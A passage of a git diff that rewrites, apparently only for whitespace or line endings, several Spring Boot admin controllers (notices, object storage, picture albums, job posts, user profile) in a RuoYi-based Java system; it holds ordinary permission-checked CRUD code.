list(SysNoticeBo notice, PageQuery pageQuery) { + return noticeService.selectPageNoticeList(notice, pageQuery); + } + + /** + * 根据通知公告编号获取详细信息 + * + * @param noticeId 公告ID + */ + @SaCheckPermission("system:notice:query") + @GetMapping(value = "/{noticeId}") + public R getInfo(@PathVariable Long noticeId) { + return R.ok(noticeService.selectNoticeById(noticeId)); + } + + /** + * 新增通知公告 + */ + @SaCheckPermission("system:notice:add") + @Log(title = "通知公告", businessType = BusinessType.INSERT) + @PostMapping + public R add(@Validated @RequestBody SysNoticeBo notice) { + int rows = noticeService.insertNotice(notice); + if (rows <= 0) { + return R.fail(); + } + String type = dictService.getDictLabel("sys_notice_type", notice.getNoticeType()); + SseMessageUtils.publishAll("[" + type + "] " + notice.getNoticeTitle()); + return R.ok(); + } + + /** + * 修改通知公告 + */ + @SaCheckPermission("system:notice:edit") + @Log(title = "通知公告", businessType = BusinessType.UPDATE) + @PutMapping + public R edit(@Validated @RequestBody SysNoticeBo notice) { + return toAjax(noticeService.updateNotice(notice)); + } + + /** + * 删除通知公告 + * + * @param noticeIds 公告ID串 + */ + @SaCheckPermission("system:notice:remove") + @Log(title = "通知公告", businessType = BusinessType.DELETE) + @DeleteMapping("/{noticeIds}") + public R remove(@PathVariable Long[] noticeIds) { + return toAjax(noticeService.deleteNoticeByIds(noticeIds)); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysOssConfigController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysOssConfigController.java index 4f523b2..ae63a13 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysOssConfigController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysOssConfigController.java @@ -1,105 +1,105 @@ -package org.dromara.system.controller.system; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.core.validate.QueryGroup; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysOssConfigBo; -import org.dromara.system.domain.vo.SysOssConfigVo; -import org.dromara.system.service.ISysOssConfigService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 对象存储配置 - * - * @author Lion Li - * @author 孤舟烟雨 - * @date 2021-08-13 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/resource/oss/config") -public class SysOssConfigController extends BaseController { - - private final ISysOssConfigService ossConfigService; - - /** - * 查询对象存储配置列表 - */ - @SaCheckPermission("system:ossConfig:list") - @GetMapping("/list") - public TableDataInfo list(@Validated(QueryGroup.class) SysOssConfigBo bo, PageQuery pageQuery) { - return ossConfigService.queryPageList(bo, pageQuery); - } - - /** - * 获取对象存储配置详细信息 - * - * @param ossConfigId OSS配置ID - */ - @SaCheckPermission("system:ossConfig:list") - @GetMapping("/{ossConfigId}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long ossConfigId) { - return R.ok(ossConfigService.queryById(ossConfigId)); - } - - /** - * 新增对象存储配置 - */ - @SaCheckPermission("system:ossConfig:add") - @Log(title = "对象存储配置", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody SysOssConfigBo bo) { - return toAjax(ossConfigService.insertByBo(bo)); - } - - /** - * 修改对象存储配置 - */ - @SaCheckPermission("system:ossConfig:edit") - @Log(title = "对象存储配置", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody SysOssConfigBo bo) { - return toAjax(ossConfigService.updateByBo(bo)); - } - - /** - * 删除对象存储配置 - * - * @param ossConfigIds OSS配置ID串 - */ - @SaCheckPermission("system:ossConfig:remove") - @Log(title = "对象存储配置", businessType = BusinessType.DELETE) - @DeleteMapping("/{ossConfigIds}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ossConfigIds) { - return toAjax(ossConfigService.deleteWithValidByIds(List.of(ossConfigIds), true)); - } - - /** - * 状态修改 - */ - @SaCheckPermission("system:ossConfig:edit") - @Log(title = "对象存储状态修改", businessType = BusinessType.UPDATE) - @PutMapping("/changeStatus") - public R changeStatus(@RequestBody SysOssConfigBo bo) { - return toAjax(ossConfigService.updateOssConfigStatus(bo)); - } -} +package org.dromara.system.controller.system; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.core.validate.QueryGroup; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysOssConfigBo; +import org.dromara.system.domain.vo.SysOssConfigVo; +import org.dromara.system.service.ISysOssConfigService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 对象存储配置 + * + * @author Lion Li + * @author 孤舟烟雨 + * @date 2021-08-13 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/resource/oss/config") +public class SysOssConfigController extends BaseController { + + private final ISysOssConfigService ossConfigService; + + /** + * 查询对象存储配置列表 + */ + @SaCheckPermission("system:ossConfig:list") + @GetMapping("/list") + public TableDataInfo list(@Validated(QueryGroup.class) SysOssConfigBo bo, PageQuery pageQuery) { + return ossConfigService.queryPageList(bo, pageQuery); + } + + /** + * 获取对象存储配置详细信息 + * + * @param ossConfigId OSS配置ID + */ + @SaCheckPermission("system:ossConfig:list") + @GetMapping("/{ossConfigId}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long ossConfigId) { + return R.ok(ossConfigService.queryById(ossConfigId)); + } + + /** + * 新增对象存储配置 + */ + @SaCheckPermission("system:ossConfig:add") + @Log(title = "对象存储配置", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody SysOssConfigBo bo) { + return toAjax(ossConfigService.insertByBo(bo)); + } + + /** + * 修改对象存储配置 + */ + @SaCheckPermission("system:ossConfig:edit") + @Log(title = "对象存储配置", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody SysOssConfigBo bo) { + return toAjax(ossConfigService.updateByBo(bo)); + } + + /** + * 删除对象存储配置 + * + * @param ossConfigIds OSS配置ID串 + */ + @SaCheckPermission("system:ossConfig:remove") + @Log(title = "对象存储配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{ossConfigIds}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ossConfigIds) { + return toAjax(ossConfigService.deleteWithValidByIds(List.of(ossConfigIds), true)); + } + + /** + * 状态修改 + */ + @SaCheckPermission("system:ossConfig:edit") + @Log(title = "对象存储状态修改", businessType = BusinessType.UPDATE) + @PutMapping("/changeStatus") + public R changeStatus(@RequestBody SysOssConfigBo bo) { + return toAjax(ossConfigService.updateOssConfigStatus(bo)); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysOssController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysOssController.java index f41f85d..e3af566 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysOssController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysOssController.java @@ -1,108 +1,108 @@ -package org.dromara.system.controller.system; - - -import cn.dev33.satoken.annotation.SaCheckPermission; -import cn.hutool.core.util.ObjectUtil; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.QueryGroup; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysOssBo; -import org.dromara.system.domain.vo.SysOssUploadVo; -import org.dromara.system.domain.vo.SysOssVo; -import org.dromara.system.service.ISysOssService; -import org.springframework.http.MediaType; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; -import org.springframework.web.multipart.MultipartFile; - -import java.io.IOException; -import java.util.Arrays; -import java.util.List; - -/** - * 文件上传 控制层 - * - * @author Lion Li - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/resource/oss") -public class SysOssController extends BaseController { - - private final ISysOssService ossService; - - /** - * 查询OSS对象存储列表 - */ - @SaCheckPermission("system:oss:list") - @GetMapping("/list") - public TableDataInfo list(@Validated(QueryGroup.class) SysOssBo bo, PageQuery pageQuery) { - return ossService.queryPageList(bo, pageQuery); - } - - /** - * 查询OSS对象基于id串 - * - * @param ossIds OSS对象ID串 - */ - @SaCheckPermission("system:oss:list") - @GetMapping("/listByIds/{ossIds}") - public R> listByIds(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ossIds) { - List list = ossService.listByIds(Arrays.asList(ossIds)); - return R.ok(list); - } - - /** - * 上传OSS对象存储 - * - * @param file 文件 - */ - @SaCheckPermission("system:oss:upload") - @Log(title = "OSS对象存储", businessType = BusinessType.INSERT) - @PostMapping(value = "/upload", consumes = MediaType.MULTIPART_FORM_DATA_VALUE) - public R upload(@RequestPart("file") MultipartFile file) { - if (ObjectUtil.isNull(file)) { - return R.fail("上传文件不能为空"); - } - SysOssVo oss = ossService.upload(file); - SysOssUploadVo uploadVo = new SysOssUploadVo(); - uploadVo.setUrl(oss.getUrl()); - uploadVo.setFileName(oss.getOriginalName()); - uploadVo.setOssId(oss.getOssId().toString()); - return R.ok(uploadVo); - } - - /** - * 下载OSS对象 - * - * @param ossId OSS对象ID - */ - @SaCheckPermission("system:oss:download") - @GetMapping("/download/{ossId}") - public void download(@PathVariable Long ossId, HttpServletResponse response) throws IOException { - ossService.download(ossId, response); - } - - /** - * 删除OSS对象存储 - * - * @param ossIds OSS对象ID串 - */ - @SaCheckPermission("system:oss:remove") - @Log(title = "OSS对象存储", businessType = BusinessType.DELETE) - @DeleteMapping("/{ossIds}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ossIds) { - return toAjax(ossService.deleteWithValidByIds(List.of(ossIds), true)); - } - -} +package org.dromara.system.controller.system; + + +import cn.dev33.satoken.annotation.SaCheckPermission; +import cn.hutool.core.util.ObjectUtil; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.QueryGroup; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysOssBo; +import org.dromara.system.domain.vo.SysOssUploadVo; +import org.dromara.system.domain.vo.SysOssVo; +import org.dromara.system.service.ISysOssService; +import org.springframework.http.MediaType; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.multipart.MultipartFile; + +import java.io.IOException; +import java.util.Arrays; +import java.util.List; + +/** + * 文件上传 控制层 + * + * @author Lion Li + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/resource/oss") +public class SysOssController extends BaseController { + + private final ISysOssService ossService; + + /** + * 查询OSS对象存储列表 + */ + @SaCheckPermission("system:oss:list") + @GetMapping("/list") + public TableDataInfo list(@Validated(QueryGroup.class) SysOssBo bo, PageQuery pageQuery) { + return ossService.queryPageList(bo, pageQuery); + } + + /** + * 查询OSS对象基于id串 + * + * @param ossIds OSS对象ID串 + */ + @SaCheckPermission("system:oss:list") + @GetMapping("/listByIds/{ossIds}") + public R> listByIds(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ossIds) { + List list = ossService.listByIds(Arrays.asList(ossIds)); + return R.ok(list); + } + + /** + * 上传OSS对象存储 + * + * @param file 文件 + */ + @SaCheckPermission("system:oss:upload") + @Log(title = "OSS对象存储", businessType = BusinessType.INSERT) + @PostMapping(value = "/upload", consumes = MediaType.MULTIPART_FORM_DATA_VALUE) + public R upload(@RequestPart("file") MultipartFile file) { + if (ObjectUtil.isNull(file)) { + return R.fail("上传文件不能为空"); + } + SysOssVo oss = ossService.upload(file); + SysOssUploadVo uploadVo = new SysOssUploadVo(); + uploadVo.setUrl(oss.getUrl()); + uploadVo.setFileName(oss.getOriginalName()); + uploadVo.setOssId(oss.getOssId().toString()); + return R.ok(uploadVo); + } + + /** + * 下载OSS对象 + * + * @param ossId OSS对象ID + */ + @SaCheckPermission("system:oss:download") + @GetMapping("/download/{ossId}") + public void download(@PathVariable Long ossId, HttpServletResponse response) throws IOException { + ossService.download(ossId, response); + } + + /** + * 删除OSS对象存储 + * + * @param ossIds OSS对象ID串 + */ + @SaCheckPermission("system:oss:remove") + @Log(title = "OSS对象存储", businessType = BusinessType.DELETE) + @DeleteMapping("/{ossIds}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ossIds) { + return toAjax(ossService.deleteWithValidByIds(List.of(ossIds), true)); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysPictureController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysPictureController.java index be78716..0db22fc 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysPictureController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysPictureController.java @@ -1,106 +1,106 @@ -package org.dromara.system.controller.system; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysPictureBo; -import org.dromara.system.domain.vo.SysPictureVo; -import org.dromara.system.service.ISysPictureService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 画册 - * - * @author Maosw - * @date 2025-02-26 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/system/picture") -public class SysPictureController extends BaseController { - - private final ISysPictureService sysPictureService; - - /** - * 查询画册列表 - */ - @SaCheckPermission("system:picture:list") - @GetMapping("/list") - public TableDataInfo list(SysPictureBo bo, PageQuery pageQuery) { - return sysPictureService.queryPageList(bo, pageQuery); - } - - /** - * 导出画册列表 - */ - @SaCheckPermission("system:picture:export") - @Log(title = "画册", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(SysPictureBo bo, HttpServletResponse response) { - List list = sysPictureService.queryList(bo); - ExcelUtil.exportExcel(list, "画册", SysPictureVo.class, response); - } - - /** - * 获取画册详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("system:picture:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(sysPictureService.queryById(id)); - } - - /** - * 新增画册 - */ - @SaCheckPermission("system:picture:add") - @Log(title = "画册", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody SysPictureBo bo) { - return toAjax(sysPictureService.insertByBo(bo)); - } - - /** - * 修改画册 - */ - @SaCheckPermission("system:picture:edit") - @Log(title = "画册", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody SysPictureBo bo) { - return toAjax(sysPictureService.updateByBo(bo)); - } - - /** - * 删除画册 - * - * @param ids 主键串 - */ - @SaCheckPermission("system:picture:remove") - @Log(title = "画册", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(sysPictureService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.system.controller.system; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysPictureBo; +import org.dromara.system.domain.vo.SysPictureVo; +import org.dromara.system.service.ISysPictureService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 画册 + * + * @author Maosw + * @date 2025-02-26 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/system/picture") +public class SysPictureController extends BaseController { + + private final ISysPictureService sysPictureService; + + /** + * 查询画册列表 + */ + @SaCheckPermission("system:picture:list") + @GetMapping("/list") + public TableDataInfo list(SysPictureBo bo, PageQuery pageQuery) { + return sysPictureService.queryPageList(bo, pageQuery); + } + + /** + * 导出画册列表 + */ + @SaCheckPermission("system:picture:export") + @Log(title = "画册", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(SysPictureBo bo, HttpServletResponse response) { + List list = sysPictureService.queryList(bo); + ExcelUtil.exportExcel(list, "画册", SysPictureVo.class, response); + } + + /** + * 获取画册详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("system:picture:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(sysPictureService.queryById(id)); + } + + /** + * 新增画册 + */ + @SaCheckPermission("system:picture:add") + @Log(title = "画册", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody SysPictureBo bo) { + return toAjax(sysPictureService.insertByBo(bo)); + } + + /** + * 修改画册 + */ + @SaCheckPermission("system:picture:edit") + @Log(title = "画册", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody SysPictureBo bo) { + return toAjax(sysPictureService.updateByBo(bo)); + } + + /** + * 删除画册 + * + * @param ids 主键串 + */ + @SaCheckPermission("system:picture:remove") + @Log(title = "画册", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(sysPictureService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysPostController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysPostController.java index 5333a4a..9ae395c 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysPostController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysPostController.java @@ -1,133 +1,133 @@ -package org.dromara.system.controller.system; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import cn.hutool.core.util.ObjectUtil; -import jakarta.servlet.http.HttpServletResponse; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.domain.R; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysPostBo; -import org.dromara.system.domain.vo.SysPostVo; -import org.dromara.system.service.ISysPostService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.ArrayList; -import java.util.List; - -/** - * 岗位信息操作处理 - * - * @author Lion Li - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/system/post") -public class SysPostController extends BaseController { - - private final ISysPostService postService; - - /** - * 获取岗位列表 - */ - @SaCheckPermission("system:post:list") - @GetMapping("/list") - public TableDataInfo list(SysPostBo post, PageQuery pageQuery) { - return postService.selectPagePostList(post, pageQuery); - } - - /** - * 导出岗位列表 - */ - @Log(title = "岗位管理", businessType = BusinessType.EXPORT) - @SaCheckPermission("system:post:export") - @PostMapping("/export") - public void export(SysPostBo post, HttpServletResponse response) { - List list = postService.selectPostList(post); - ExcelUtil.exportExcel(list, "岗位数据", SysPostVo.class, response); - } - - /** - * 根据岗位编号获取详细信息 - * - * @param postId 岗位ID - */ - @SaCheckPermission("system:post:query") - @GetMapping(value = "/{postId}") - public R getInfo(@PathVariable Long postId) { - return R.ok(postService.selectPostById(postId)); - } - - /** - * 新增岗位 - */ - @SaCheckPermission("system:post:add") - @Log(title = "岗位管理", businessType = BusinessType.INSERT) - @PostMapping - public R add(@Validated @RequestBody SysPostBo post) { - if (!postService.checkPostNameUnique(post)) { - return R.fail("新增岗位'" + post.getPostName() + "'失败,岗位名称已存在"); - } else if (!postService.checkPostCodeUnique(post)) { - return R.fail("新增岗位'" + post.getPostName() + "'失败,岗位编码已存在"); - } - return toAjax(postService.insertPost(post)); - } - - /** - * 修改岗位 - */ - @SaCheckPermission("system:post:edit") - @Log(title = "岗位管理", businessType = BusinessType.UPDATE) - @PutMapping - public R edit(@Validated @RequestBody SysPostBo post) { - if (!postService.checkPostNameUnique(post)) { - return R.fail("修改岗位'" + post.getPostName() + "'失败,岗位名称已存在"); - } else if (!postService.checkPostCodeUnique(post)) { - return R.fail("修改岗位'" + post.getPostName() + "'失败,岗位编码已存在"); - } else if (SystemConstants.DISABLE.equals(post.getStatus()) - && postService.countUserPostById(post.getPostId()) > 0) { - return R.fail("该岗位下存在已分配用户,不能禁用!"); - } - return toAjax(postService.updatePost(post)); - } - - /** - * 删除岗位 - * - * @param postIds 岗位ID串 - */ - @SaCheckPermission("system:post:remove") - @Log(title = "岗位管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{postIds}") - public R remove(@PathVariable Long[] postIds) { - return toAjax(postService.deletePostByIds(postIds)); - } - - /** - * 获取岗位选择框列表 - * - * @param postIds 岗位ID串 - * @param deptId 部门id - */ - @SaCheckPermission("system:post:query") - @GetMapping("/optionselect") - public R> optionselect(@RequestParam(required = false) Long[] postIds, @RequestParam(required = false) Long deptId) { - List list = new ArrayList<>(); - if (ObjectUtil.isNotNull(deptId)) { - SysPostBo post = new SysPostBo(); - post.setDeptId(deptId); - list = postService.selectPostList(post); - } else if (postIds != null) { - list = postService.selectPostByIds(List.of(postIds)); - } - return R.ok(list); - } - -} +package org.dromara.system.controller.system; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import cn.hutool.core.util.ObjectUtil; +import jakarta.servlet.http.HttpServletResponse; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.domain.R; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysPostBo; +import org.dromara.system.domain.vo.SysPostVo; +import org.dromara.system.service.ISysPostService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.ArrayList; +import java.util.List; + +/** + * 岗位信息操作处理 + * + * @author Lion Li + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/system/post") +public class SysPostController extends BaseController { + + private final ISysPostService postService; + + /** + * 获取岗位列表 + */ + @SaCheckPermission("system:post:list") + @GetMapping("/list") + public TableDataInfo list(SysPostBo post, PageQuery pageQuery) { + return postService.selectPagePostList(post, pageQuery); + } + + /** + * 导出岗位列表 + */ + @Log(title = "岗位管理", businessType = BusinessType.EXPORT) + @SaCheckPermission("system:post:export") + @PostMapping("/export") + public void export(SysPostBo post, HttpServletResponse response) { + List list = postService.selectPostList(post); + ExcelUtil.exportExcel(list, "岗位数据", SysPostVo.class, response); + } + + /** + * 根据岗位编号获取详细信息 + * + * @param postId 岗位ID + */ + @SaCheckPermission("system:post:query") + @GetMapping(value = "/{postId}") + public R getInfo(@PathVariable Long postId) { + return R.ok(postService.selectPostById(postId)); + } + + /** + * 新增岗位 + */ + @SaCheckPermission("system:post:add") + @Log(title = "岗位管理", businessType = BusinessType.INSERT) + @PostMapping + public R add(@Validated @RequestBody SysPostBo post) { + if (!postService.checkPostNameUnique(post)) { + return R.fail("新增岗位'" + post.getPostName() + "'失败,岗位名称已存在"); + } else if (!postService.checkPostCodeUnique(post)) { + return R.fail("新增岗位'" + post.getPostName() + "'失败,岗位编码已存在"); + } + return toAjax(postService.insertPost(post)); + } + + /** + * 修改岗位 + */ + @SaCheckPermission("system:post:edit") + @Log(title = "岗位管理", businessType = BusinessType.UPDATE) + @PutMapping + public R edit(@Validated @RequestBody SysPostBo post) { + if (!postService.checkPostNameUnique(post)) { + return R.fail("修改岗位'" + post.getPostName() + "'失败,岗位名称已存在"); + } else if (!postService.checkPostCodeUnique(post)) { + return R.fail("修改岗位'" + post.getPostName() + "'失败,岗位编码已存在"); + } else if (SystemConstants.DISABLE.equals(post.getStatus()) + && postService.countUserPostById(post.getPostId()) > 0) { + return R.fail("该岗位下存在已分配用户,不能禁用!"); + } + return toAjax(postService.updatePost(post)); + } + + /** + * 删除岗位 + * + * @param postIds 岗位ID串 + */ + @SaCheckPermission("system:post:remove") + @Log(title = "岗位管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{postIds}") + public R remove(@PathVariable Long[] postIds) { + return toAjax(postService.deletePostByIds(postIds)); + } + + /** + * 获取岗位选择框列表 + * + * @param postIds 岗位ID串 + * @param deptId 部门id + */ + @SaCheckPermission("system:post:query") + @GetMapping("/optionselect") + public R> optionselect(@RequestParam(required = false) Long[] postIds, @RequestParam(required = false) Long deptId) { + List list = new ArrayList<>(); + if (ObjectUtil.isNotNull(deptId)) { + SysPostBo post = new SysPostBo(); + post.setDeptId(deptId); + list = postService.selectPostList(post); + } else if (postIds != null) { + list = postService.selectPostByIds(List.of(postIds)); + } + return R.ok(list); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysProfileController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysProfileController.java index 893b381..e10fa12 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysProfileController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysProfileController.java @@ -1,132 +1,132 @@ -package org.dromara.system.controller.system; - -import cn.dev33.satoken.secure.BCrypt; -import cn.hutool.core.bean.BeanUtil; -import cn.hutool.core.io.FileUtil; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.core.utils.file.MimeTypeUtils; -import org.dromara.common.encrypt.annotation.ApiEncrypt; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.helper.DataPermissionHelper; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysUserBo; -import org.dromara.system.domain.bo.SysUserPasswordBo; -import org.dromara.system.domain.bo.SysUserProfileBo; -import org.dromara.system.domain.vo.AvatarVo; -import org.dromara.system.domain.vo.ProfileVo; -import org.dromara.system.domain.vo.SysOssVo; -import org.dromara.system.domain.vo.SysUserVo; -import org.dromara.system.service.ISysOssService; -import org.dromara.system.service.ISysUserService; -import org.springframework.http.MediaType; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; -import org.springframework.web.multipart.MultipartFile; - -import java.util.Arrays; - -/** - * 个人信息 业务处理 - * - * @author Lion Li - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/system/user/profile") -public class SysProfileController extends BaseController { - - private final ISysUserService userService; - private final ISysOssService ossService; - - /** - * 个人信息 - */ - @GetMapping - public R profile() { - SysUserVo user = userService.selectUserById(LoginHelper.getUserId()); - ProfileVo profileVo = new ProfileVo(); - 